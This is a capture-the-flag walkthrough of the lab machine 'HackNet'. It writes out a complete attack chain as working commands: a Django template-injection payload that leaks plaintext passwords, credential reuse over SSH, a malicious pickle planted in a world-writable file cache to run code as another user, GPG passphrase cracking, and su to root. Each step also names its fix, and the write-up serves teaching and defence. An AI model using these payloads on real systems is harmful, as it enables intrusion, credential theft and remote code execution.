← all walkthroughs

HackNet

Linux· Medium
owned
2026-10-08
time to own
45m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a Django social-network application on hacknet.htb with open self-registration. The /likes/<id> view rendered each liker's username through the Django template engine, so setting my own username to {{users.values}} and liking a post dumped every liker's database row, including plain-text passwords.

One harvested password worked over SSH as the local user mikey and gave the user flag. As mikey, the application settings showed Django's FileBasedCache in /var/tmp/django_cache, a world-writable directory that the gunicorn workers (running as sandy) read and unpickle.

Replacing a fresh cache entry with a malicious pickle ran code as sandy, which was used to add an SSH key and log in. Sandy's GPG private key passphrase was cracked offline, decrypting SQL backups whose message table held the root password; su with it gave root.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for pwn9>"
export PASSWORD3="<the-password-you-recovered, for root>"
export CACHE_FILE="<a-value-you-captured-earlier>"
export CSRFMIDDLEWARETOKEN="<a-value-you-captured-earlier>"
export GPG_PASSPHRASE="<a-password-you-choose>"
export MIKEY_PASSWORD="<a-password-you-choose>"
export SSH_PUB="<a-value-you-captured-earlier>"

Attack path — how the box was taken

1ReconnaissanceService and virtual-host enumeration (T1595)
Identified a Django social-network app behind a virtual host
A web service on port 80 served a Django social-network application reachable on the virtual host hacknet.htb, with open self-registration and endpoints for posts, comments, likes and an /explore search.
HTTP app on hacknet.htb with /register, /comment, /explore and /likes/<id> routes.
Exact commands 1
shell

The registration page is open to anyone.

$ curl --resolve hacknet.htb:80:$TARGET -isk http://hacknet.htb/register
2Initial AccessOpen self-registration / valid accounts (T1078)
Registered an account and logged in
Self-registration was enabled. The sign-up form takes email, username and password, and the login form takes email and password. A cookie jar from the GET request supplies the csrftoken cookie, and the csrfmiddlewaretoken hidden field is copied from each form into $CSRFMIDDLEWARETOKEN.
POST /register created the account; POST /login returned 302 to /profile with a sessionid cookie.
Exact commands 4
shell

Fetch the sign-up form; copy its csrfmiddlewaretoken value into $CSRFMIDDLEWARETOKEN.

$ curl --resolve hacknet.htb:80:$TARGET -isk -c hacknet.cookies http://hacknet.htb/register
shell

Register with email, username and a single password field (no password1/password2 pair).

$ curl --resolve hacknet.htb:80:$TARGET -isk -b hacknet.cookies -c hacknet.cookies -d "csrfmiddlewaretoken=$CSRFMIDDLEWARETOKEN&email=pwn9%40hacknet.htb&username=pwn9&password=$PASSWORD" http://hacknet.htb/register
shell

Fetch the login form for a fresh $CSRFMIDDLEWARETOKEN.

$ curl --resolve hacknet.htb:80:$TARGET -isk -b hacknet.cookies -c hacknet.cookies http://hacknet.htb/login
shell

Log in with email and password; the 302 to /profile sets the sessionid cookie in hacknet.cookies.

$ curl --resolve hacknet.htb:80:$TARGET -isk -b hacknet.cookies -c hacknet.cookies -d "csrfmiddlewaretoken=$CSRFMIDDLEWARETOKEN&email=pwn9%40hacknet.htb&password=$PASSWORD" http://hacknet.htb/login
3Credential AccessServer-side template injection exposing stored credentials (CWE-1336 / T1552.001)
Leaked other users' passwords through template injection in the /likes view
The site's script.js loads the list of people who liked a post with $.get("/likes/" + post_num), and that list shows each liker's username in an image title attribute, so the username is my own value reflected by /likes/<id>. I set my own username on /profile/edit to the test expression {{7*7}} and liked my own post 29: /likes/29 returned "Something went wrong..." instead of the literal text, a hint that the username was being parsed as a template. {{7*7}} is not valid Django template syntax, so the probe was switched to the Django filter expression {{7|add:'7'}}, and /likes/29 then rendered title="14": the username was compiled as a Django template rather than passed in as data. The view's list of likers was a likely context variable, so I tried the name users with {{users.values}}. Loading /likes/29 printed the full database row of every liker, with the password column stored in plain text. Liking other posts and reading their /likes pages harvested many username and password pairs.
{{7*7}} gave "Something went wrong..."; {{7|add:'7'}} rendered title="14" in /likes/29; with the username set to {{users.values}}, GET /likes/29 returned <QuerySet [{'id': 28, 'email': ..., 'username': '{{users.values}}', 'password': ...}]>; posts with more likers returned every liker's row.
Exact commands 10
shell

Shows the $.get("/likes/" + post_num) call behind the likes pop-up.

$ curl --resolve hacknet.htb:80:$TARGET -sk http://hacknet.htb/static/script.js
shell

$CSRFMIDDLEWARETOKEN comes from the form on GET /profile/edit. Set the username to a test expression; empty fields keep their current values.

$ curl --resolve hacknet.htb:80:$TARGET -isk -b hacknet.cookies -c hacknet.cookies -F csrfmiddlewaretoken=$CSRFMIDDLEWARETOKEN -F email= -F 'username={{7*7}}' -F 'password=' -F about= -F is_public=on http://hacknet.htb/profile/edit
shell

Like my own post 29 so the test username appears in its likers list; the response body is "Success".

$ curl --resolve hacknet.htb:80:$TARGET -isk -b hacknet.cookies http://hacknet.htb/like/29
shell

Returns "Something went wrong..." rather than the literal {{7*7}}: the username is being parsed.

$ curl --resolve hacknet.htb:80:$TARGET -isk -b hacknet.cookies http://hacknet.htb/likes/29
shell

Retry with valid Django template syntax, {{7|add:'7'}}.

$ curl --resolve hacknet.htb:80:$TARGET -isk -b hacknet.cookies -c hacknet.cookies -F csrfmiddlewaretoken=$CSRFMIDDLEWARETOKEN -F email= -F 'username={{7|add:'"'"'7'"'"'}}' -F 'password=' -F about= -F is_public=on http://hacknet.htb/profile/edit
shell

The likers list renders title="14": Django template injection confirmed.

$ curl --resolve hacknet.htb:80:$TARGET -isk -b hacknet.cookies http://hacknet.htb/likes/29
shell

Same form, now with {{users.values}} as the username, guessing that the view passes its likers to the template as users.

$ curl --resolve hacknet.htb:80:$TARGET -isk -b hacknet.cookies -c hacknet.cookies -F csrfmiddlewaretoken=$CSRFMIDDLEWARETOKEN -F email= -F 'username={{users.values}}' -F 'password=' -F about= -F is_public=on http://hacknet.htb/profile/edit
shell

The title attribute now holds the QuerySet of every liker of post 29, password column included.

$ curl --resolve hacknet.htb:80:$TARGET -isk -b hacknet.cookies http://hacknet.htb/likes/29
shell

Like another post (here 15) to add the injected account to its likers; the response body is "Success".

$ curl --resolve hacknet.htb:80:$TARGET -isk -b hacknet.cookies http://hacknet.htb/like/15
shell

Extract the leaked username/password pairs. Repeat /like/<id> and /likes/<id> across the posts.

$ curl --resolve hacknet.htb:80:$TARGET -sk -b hacknet.cookies http://hacknet.htb/likes/15 | sed "s/&#x27;/'/g" | grep -oP "'username': '[^']+', 'password': '[^']+'"
FixNever compile user data as a template, and never store plaintext passwordsCritical
WeaknessThe /likes/<id> view built a template from each liker's username, so a username of {{users.values}} dumped the users queryset, and the password column held recoverable plain text.
FixPass usernames to templates as context variables (never concatenate them into Template() source), and store passwords only as salted hashes with Django's password hashers so they cannot be served or recovered.
4FootholdValid accounts / credential reuse across app and OS (T1078)
Reused the leaked credentials over SSH as mikey
The harvested passwords were sprayed against SSH. One pair authenticated as the local user mikey, giving an interactive shell and the user flag.
The SSH login as mikey returned a shell; id confirmed the mikey account; user.txt was read.
Exact commands 1
shell

$MIKEY_PASSWORD is mikey's password, the value recovered from the /likes leak in step 3 (not the registration password). Prints id and <user.txt>.

$ sshpass -p "$MIKEY_PASSWORD" ssh -o StrictHostKeyChecking=no mikey@$TARGET 'id; cat /home/mikey/user.txt'
FixSeparate application and OS credentials and block credential reuseHigh
WeaknessPasswords harvested from the web application were valid for SSH, letting a web-only leak become host access.
FixUse unique, high-entropy passwords for OS accounts that are never shared with application accounts, and prefer key-based SSH with password login disabled.
5DiscoveryLocal discovery of an unsafe cache boundary (T1083)
Found a writable Django file-based cache read by the web process
Reading /var/www/HackNet/HackNet/settings.py as mikey showed CACHES set to Django's FileBasedCache with LOCATION /var/tmp/django_cache. That directory was mode 777 (owner sandy, group www-data), and the gunicorn workers that serve the site run as sandy. Django's file backend stores each entry as a pickled expiry timestamp followed by a zlib-compressed pickle of the value, and the /explore view is cached, so any local user can swap an entry that sandy's process will later unpickle.
settings.py: 'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache', 'LOCATION': '/var/tmp/django_cache'; ls -lad showed drwxrwxrwx sandy www-data /var/tmp/django_cache.
Exact commands 2
shell

The CACHES block names the file backend and its directory. $MIKEY_PASSWORD is the password recovered in step 3.

$ sshpass -p "$MIKEY_PASSWORD" ssh -o StrictHostKeyChecking=no mikey@$TARGET 'sed -n "1,130p" /var/www/HackNet/HackNet/settings.py; find /var/tmp /tmp /dev/shm -maxdepth 3 -type d -o -type f 2>/dev/null | head -n 200'
shell

Confirms the cache directory is world-writable.

$ sshpass -p "$MIKEY_PASSWORD" ssh -o StrictHostKeyChecking=no mikey@$TARGET 'ls -lad /var/tmp/django_cache; ls -la /var/tmp/django_cache; stat -c "%A %U %G %n" /var/tmp/django_cache /var/log/nginx/access.log'
6Lateral MovementInsecure deserialization of Django FileBasedCache (CWE-502 / T1059)
Ran code as sandy via a malicious pickle in the file-based cache
Django names each cache file after the md5 of its internal cache key, which for a cached page is derived from the full request URL, so the reliable way to pair a file with a URL is to make the URL unique. I requested /explore?keyword=sandyssh20261008 and listed the newest .djcache files: that request created exactly two sandy-owned files, an 890-byte response entry and a 34-byte header entry. Neither file was writable by mikey, but the directory was, so the payload deletes the header entry and writes a new file under the same name. The new content is a pickled expiry time followed by a zlib-compressed pickle of an object whose __reduce__ calls os.system. Requesting the same URL again made sandy's worker load the header entry and run the command. A first payload wrote id output to prove execution as sandy; the second appended my public key to /home/sandy/.ssh/authorized_keys.
The proof payload wrote /var/tmp/django_cache/sandy_id containing uid=1001(sandy) gid=33(www-data); after the key payload, SSH as sandy with the new key succeeded.
Exact commands 6
shell

My side. Bind the printed public key to $SSH_PUB for the payload below.

$ rm -f /tmp/hacknet_sandy_key /tmp/hacknet_sandy_key.pub; ssh-keygen -q -t ed25519 -N '' -f /tmp/hacknet_sandy_key; cat /tmp/hacknet_sandy_key.pub
shell

A unique keyword creates a fresh cache pair for this one URL.

$ curl --resolve hacknet.htb:80:$TARGET -sS -o /dev/null -w '%{http_code}\n' -b hacknet.cookies 'http://hacknet.htb/explore?keyword=sandyssh20261008'
shell

The two newest sandy-owned files belong to that request. Bind the name of the 34-byte one to $CACHE_FILE.

$ sshpass -p "$MIKEY_PASSWORD" ssh -o StrictHostKeyChecking=no mikey@$TARGET 'find /var/tmp/django_cache -maxdepth 1 -type f -name "*.djcache" -printf "%T@ %m %u %s %f\n" | sort -nr | head -n 8'
shell

The outer double quotes let $SSH_PUB and $CACHE_FILE expand on my side. os.unlink works because the directory, not the file, is writable.

$ sshpass -p "$MIKEY_PASSWORD" ssh -o StrictHostKeyChecking=no mikey@$TARGET "python3 -c 'import os,pickle,zlib,time; cmd=\"mkdir -p /home/sandy/.ssh; chmod 700 /home/sandy/.ssh; echo $SSH_PUB >> /home/sandy/.ssh/authorized_keys; chmod 600 /home/sandy/.ssh/authorized_keys\"; R=type(\"R\",(object,),{\"__reduce__\":lambda self:(os.system,(cmd,))}); p=pickle.dumps(time.time()+300,4)+zlib.compress(pickle.dumps(R(),4)); path=\"/var/tmp/django_cache/$CACHE_FILE\"; os.unlink(path); open(path,\"wb\").write(p)'"
shell

Same URL again: sandy's worker unpickles the planted entry and runs the command.

$ curl --resolve hacknet.htb:80:$TARGET -sS -o /dev/null -w '%{http_code}\n' -b hacknet.cookies 'http://hacknet.htb/explore?keyword=sandyssh20261008'
shell

Log in with the planted key; id confirms the sandy account.

$ ssh -i /tmp/hacknet_sandy_key -o BatchMode=yes -o StrictHostKeyChecking=no sandy@$TARGET id
uid=1001(sandy) gid=33(www-data)
FixDo not unpickle cache data from a user-writable directoryCritical
WeaknessDjango's FileBasedCache stored pickled values in /var/tmp/django_cache, a world-writable directory, so a lower-privileged local user could replace entries that sandy's web process deserialized.
FixPlace the cache in a directory writable only by the web service account, or use a backend that does not deserialize untrusted data (e.g. the database or a signed cache), and never share a world- or multi-user-writable cache path.
7Credential AccessPrivate-key passphrase cracking and secrets in backups (T1555 / T1552.001)
Cracked sandy's GPG key and recovered the root password from backups
Listing the web root as mikey had already shown three GPG-encrypted SQL dumps in the web app's backups directory, /var/www/HackNet/backups/, owned by sandy. Listing sandy's home from the new sandy session showed an armored GnuPG private key at /home/sandy/.gnupg/private-keys-v1.d/armored_key.asc. I copied the key off the box, converted it with gpg2john and cracked its passphrase with John and rockyou. Back in the sandy session, the key was imported into a scratch GnuPG home with that GPG passphrase and the backups were decrypted. The SocialNetwork_socialmessage rows in backup02.sql held a private conversation in which one user sent another the root password.
John (--format=gpg) recovered the GPG key passphrase $GPG_PASSPHRASE; message 50 in backup02.sql contained the password $PASSWORD3.
Exact commands 7
shell

Run earlier as mikey ($MIKEY_PASSWORD from step 3): the listing of /var/www/HackNet/backups shows backup01.sql.gpg, backup02.sql.gpg and backup03.sql.gpg, owned by sandy.

$ sshpass -p "$MIKEY_PASSWORD" ssh -o StrictHostKeyChecking=no mikey@$TARGET 'sed -n "48,65p" /var/www/HackNet/HackNet/settings.py; sed -n "1,200p" /var/www/HackNet/SocialNetwork/news_generator.py; ls -la /var/www/HackNet/backups; find /var/www/HackNet/backups -maxdepth 2 -type f -ls'
shell

As sandy: the file listing of /home/sandy includes .gnupg/private-keys-v1.d/armored_key.asc.

$ ssh -i /tmp/hacknet_sandy_key -o BatchMode=yes -o StrictHostKeyChecking=no sandy@$TARGET "id; ls -la /home/sandy; find /home/sandy -maxdepth 4 -type f -not -path '*/.cache/*' -ls; gpg --batch --list-secret-keys --keyid-format long; sudo -n -l"
shell

Copy the private key to my box.

$ scp -i /tmp/hacknet_sandy_key -o BatchMode=yes -o StrictHostKeyChecking=no sandy@$TARGET:/home/sandy/.gnupg/private-keys-v1.d/armored_key.asc /tmp/sandy_armored_key.asc
shell

Build a John hash from the key.

$ gpg2john /tmp/sandy_armored_key.asc > /tmp/sandy_gpg.hash; head -c 200 /tmp/sandy_gpg.hash
shell

Recovers the private key's GPG passphrase $GPG_PASSPHRASE.

$ john --format=gpg --wordlist=/usr/share/wordlists/rockyou.txt /tmp/sandy_gpg.hash
shell

Import the key into a scratch home with $GPG_PASSPHRASE and decrypt the newest backup.

$ ssh -i /tmp/hacknet_sandy_key -o BatchMode=yes -o StrictHostKeyChecking=no sandy@$TARGET "mkdir -p -m 700 /tmp/hacknet-gpg-tmp-2; gpg --homedir /tmp/hacknet-gpg-tmp-2 --batch --pinentry-mode loopback --passphrase $GPG_PASSPHRASE --import /home/sandy/.gnupg/private-keys-v1.d/armored_key.asc >/dev/null 2>&1; gpg --homedir /tmp/hacknet-gpg-tmp-2 --batch --yes --pinentry-mode loopback --passphrase $GPG_PASSPHRASE --decrypt /var/www/HackNet/backups/backup03.sql.gpg > /tmp/backup03.sql 2>/dev/null; grep -Ein 'root|sudo|ssh|password|passwd|credential|backup|cache|secret' /tmp/backup03.sql | head -n 200"
shell

Decrypt the other two and print the message rows; message 50 under BACKUP02 holds the root password ($PASSWORD3).

$ ssh -i /tmp/hacknet_sandy_key -o BatchMode=yes -o StrictHostKeyChecking=no sandy@$TARGET "for n in 01 02; do gpg --homedir /tmp/hacknet-gpg-tmp-2 --batch --yes --pinentry-mode loopback --passphrase $GPG_PASSPHRASE --decrypt /var/www/HackNet/backups/backup\${n}.sql.gpg > /tmp/backup\${n}.sql 2>/dev/null; done; for n in 01 02 03; do echo BACKUP\${n}; sed -n '/INSERT INTO \`SocialNetwork_socialmessage\`/,/;/p' /tmp/backup\${n}.sql | grep -E '^\((2[0-7]|4[6-9]|5[0-3]),'; done"
FixProtect private keys and keep secrets out of backupsHigh
WeaknessA GPG private key with a weak passphrase was accessible to the service account, and the encrypted backups it protected contained an account password.
FixUse strong passphrases and restrict access to private keys, and never store live credentials in database content or backups; rotate any secret that appears in one.
8Privilege EscalationCredential reuse to the root account (T1078)
Switched to root with the reused password
The password recovered from the backup was the root account's password. Running su with it from the sandy session gave a root shell and the root flag.
Su - root with $PASSWORD3 returned uid=0(root) and <root.txt>, accepted by the platform.
Exact commands 1
shell

Run in the sandy SSH session; prints uid=0(root) and <root.txt>.

$ printf "$PASSWORD3\n" | su - root -c '/usr/bin/id; cat /root/root.txt'
uid=0(root)
FixUse a unique root passwordHigh
WeaknessThe root account's password was recoverable from application data and reusable with su.
FixSet a unique, high-entropy root password, disable direct root login, and require sudo with per-user accounts and logging.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain' — a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.

Why it works

A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all — prefer a data format that carries no types, such as JSON parsed into known structures — and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.

Read more

Exposed services

22/tcp
80/tcp